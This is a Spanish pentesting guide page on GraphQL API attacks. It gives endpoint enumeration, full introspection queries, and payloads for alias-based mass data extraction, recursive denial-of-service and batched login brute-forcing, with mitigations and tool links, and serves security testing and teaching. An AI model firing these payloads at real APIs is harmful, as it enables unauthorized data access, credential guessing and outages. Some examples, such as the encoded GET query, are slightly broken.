Grimorio de XTORMIN
Xtormin GithubLinkedIn
  • Home
  • 🧠IA / AI
    • Investigación y automatización
    • IA en local
    • Plantillas de prompts
      • Informes de pentesting
  • 🏢Pentesting en Infraestructuras
    • Intrusión física
    • Redes Wi-Fi
      • Herramientas
      • Metodología de Pentest Wifi
      • WEP
      • WPA2-PSK / Red personal
      • WPA2-MGT / Red corporativa
    • Cloud
      • 🔷Azure
        • Herramientas
        • Metodología de Azure Pentest
        • AzureAD
        • Az Powershell
        • Az Cli
        • Portal de Azure
    • Perímetro
      • Acceso remoto
    • Red interna
      • Windows
      • Active directory
        • Enumeración manual
    • Servicios
      • FTP - 21/tcp
      • SSH - 22/tcp
      • DNS - 53/UDP
      • SMB - 135, 445 /tcp
      • SNMP - 161, 162, 10161, 10162/udp
      • IPMI - 623/udp/tcp
      • RDP - 3389/TCP
      • Redis - 6379/tcp
    • Misc
      • Transferencia de ficheros
  • 🌐Pentesting en aplicaciones web
    • General
      • Ataques y vulnerabilidades
        • Autenticación
          • Vulnerabilidades JWT
        • Javascript
          • XSS
          • Contaminación de prototipos - Prototype pollution
        • GraphQL
      • Explotación
        • Webshell
    • Tecnología
      • Jenkins
      • Salesforce
  • ⚒️Herramientas comunes
    • Recursos generales
    • Nmap
    • Nuclei
    • BloodHound
  • 👾MISC
    • [ Kali ] Setup
      • VPN
Con tecnología de GitBook
En esta página
  • Enumeración
  • Introspección
  • GraphQLmap
  • Explotación de vulnerabilidades
  • Inyección de consultas
  • Consulta masiva de datos
  • Ataques de Denegación de Servicio (DoS) con recursión profunda
  • Enumeración de funciones y mutaciones
  • Fuerza bruta en una sola solicitud de API
  • Herramientas
  • Referencias

¿Te fue útil?

  1. Pentesting en aplicaciones web
  2. General
  3. Ataques y vulnerabilidades

GraphQL

GraphQL es un lenguaje de consulta para APIs

GraphQL permite a los clientes especificar exactamente los datos que necesitan en una consulta. Se diferencia de REST en que las consultas pueden estructurarse de manera dinámica.

Un endpoint GraphQL suele responder a peticiones HTTP POST con un payload en formato JSON que contiene:

{
  "query": "query { user(id: 1) { name, email } }"
}

Un atacante puede abusar de esta estructura para extraer información o realizar ataques más sofisticados.

Enumeración

Algunos métodos para detectar endpoints GraphQL incluyen:

  • Enumeración de endpoints comunes:

/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
  • Probar agregando /v1.

  • Probar modificando el método GET/POST y/o tipo de petición x-www-form-urlencoded o application/json.

  • Cualquier endpoint GraphQL responderá a la consulta universal. Si da la siguiente respuesta, se determinará que se usa GraphQL:

Consulta universal:

{ "query": "{ __typename }" }

Respuesta:

{ "data": { "__typename": "Query" } }

Los servicios GraphQL suelen responder a cualquier solicitud que no sea GraphQL con un error de "consulta no presente" o similar.

Introspección

GraphQL tiene una funcionalidad llamada introspección (introspection) que permite a los desarrolladores (y atacantes) consultar el esquema de la API:

{ "query": "{__schema{queryType{name}}}" }

Si esta consulta está habilitada, se podrá extraer información sobre todos los tipos, consultas y mutaciones disponibles.

Consulta de introspección completa: La siguiente consulta de ejemplo devuelve detalles completos sobre todas las consultas, mutaciones, suscripciones, tipos y fragmentos.

  • POST:

query IntrospectionQuery {
 __schema {
  queryType {
   name
  }
  mutationType {
   name
  }
  subscriptionType {
   name
  }
  types {
   ...FullType
  }
  directives {
   name
   description
   args {
    ...InputValue
   }
   onOperation  #Often needs to be deleted to run query
   onFragment   #Often needs to be deleted to run query
   onField      #Often needs to be deleted to run query
  }
 }
}

fragment FullType on __Type {
 kind
 name
 description
 fields(includeDeprecated: true) {
  name
  description
  args {
   ...InputValue
  }
  type {
   ...TypeRef
  }
  isDeprecated
  deprecationReason
 }
 inputFields {
  ...InputValue
 }
 interfaces {
  ...TypeRef
 }
 enumValues(includeDeprecated: true) {
  name
  description
  isDeprecated
  deprecationReason
 }
 possibleTypes {
  ...TypeRef
 }
}

fragment InputValue on __InputValue {
 name
 description
 type {
  ...TypeRef
 }
 defaultValue
}

fragment TypeRef on __Type {
 kind
 name
 ofType {
  kind
  name
  ofType {
   kind
   name
   ofType {
    kind
    name
   }
  }
 }
}
  • GET:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%2 0description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20 %20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20 %20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20 %20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20 %20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20 %20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef +%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%2 0description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue +}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofT ype%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20 %20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofTyp e%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%2 0%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind +%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20 %20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20 %20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%2 0ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%2 0%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20% 20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%2 0%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20na me+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%2 0%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20 %20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20In trospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20 %20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%2 0%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20 %20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20% 20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20 %20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%2 0%20%20}+%20%20%20%20}+%20%20}+}The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)

GraphQLmap

Explotación de vulnerabilidades

Inyección de consultas

Si un servidor GraphQL no valida correctamente los datos de entrada, un atacante puede inyectar consultas maliciosas.

Ejemplo de inyección en un argumento:

{ "query": "query { user(id: "1) { name, email } }" }

Este tipo de ataque puede usarse para manipular consultas o acceder a datos no autorizados.

Consulta masiva de datos

GraphQL permite usar alias para ejecutar múltiples consultas en una sola petición, lo que puede usarse para evadir límites de peticiones. Si la API no limita la cantidad de alias, un atacante podría extraer datos en masa.

{
  "query": "query { user1: user(id: 1) { name } user2: user(id: 2) { name } user3: user(id: 3) { name } }"
}

Ataques de Denegación de Servicio (DoS) con recursión profunda

Si la API no impone restricciones en la profundidad de las consultas, se pueden hacer consultas recursivas que sobrecarguen el servidor. Esto puede provocar un alto consumo de CPU y memoria en el servidor.

{
  "query": "query { user(id: 1) { friends { friends { friends { name } } } } }"
}

Enumeración de funciones y mutaciones

Si la introspección está habilitada, se puede utilizar para descubrir mutaciones y funciones sensibles:

{
"query": "{ __type(name: \"Mutation\") { fields { name } } }"
}

Fuerza bruta en una sola solicitud de API

Este ataque es conocido como fuerza bruta con procesamiento por lotes (batch brute-force attack) y aprovecha la flexibilidad de GraphQL para enviar múltiples intentos de autenticación en una sola solicitud HTTP. Esto puede evadir mecanismos de rate-limiting y detección de bots, ya que muchas aplicaciones solo registran el número de solicitudes en lugar del número real de intentos de autenticación dentro de una solicitud.

En GraphQL, se pueden usar alias para enviar múltiples consultas en una sola petición, lo que permite probar múltiples combinaciones de usuario/contraseña sin generar múltiples solicitudes HTTP:

{
  "query": "query {
    login1: login(username: \"usuario1\", password: \"password1\") { token }
    login2: login(username: \"usuario2\", password: \"password2\") { token }
    login3: login(username: \"usuario3\", password: \"password3\") { token }
    login4: login(username: \"usuario4\", password: \"password4\") { token }
  }"
}

En este ejemplo:

  • Se están enviando cuatro intentos de autenticación en una sola solicitud HTTP.

  • Cada intento tiene un alias (login1, login2, etc.) para que GraphQL devuelva múltiples respuestas dentro de un solo JSON.

  • Si alguna de las credenciales es válida, la API responderá con un token de autenticación.

Medidas de mitigación
  • Imponer restricciones en el uso de alias en consultas de autenticación. Solo permitir un intento de autenticación por consulta GraphQL.

  • Aplicar rate-limiting basado en credenciales y no solo en peticiones HTTP. Si una dirección IP envía una solicitud con múltiples intentos de inicio de sesión, se deben contabilizar como intentos separados para la limitación de velocidad.

  • Implementar retrasos entre intentos de autenticación. Agregar un pequeño tiempo de espera tras intentos fallidos para hacer que los ataques de fuerza bruta sean más lentos.

  • Bloquear o alertar en caso de múltiples intentos fallidos dentro de una sola solicitud. Si se detectan múltiples intentos de autenticación en una sola consulta, se debe generar una alerta de seguridad.

Herramientas

Referencias

AnteriorContaminación de prototipos - Prototype pollutionSiguienteExplotación

Última actualización hace 1 mes

¿Te fue útil?

🌐
https://graphql-kit.com/graphql-voyager/
http://nathanrandal.com/graphql-visualizer/
https://github.com/nikitastupin/clairvoyance
https://portswigger.net/web-security/graphql
https://github.com/ivanversluis/pentest-hacktricks/blob/master/pentesting/pentesting-web/graphql.md
https://lab.wallarm.com/graphql-batching-attack/
https://jondow.eu/practical-graphql-attack-vectors/
https://github.com/swisskyrepo/GraphQLmap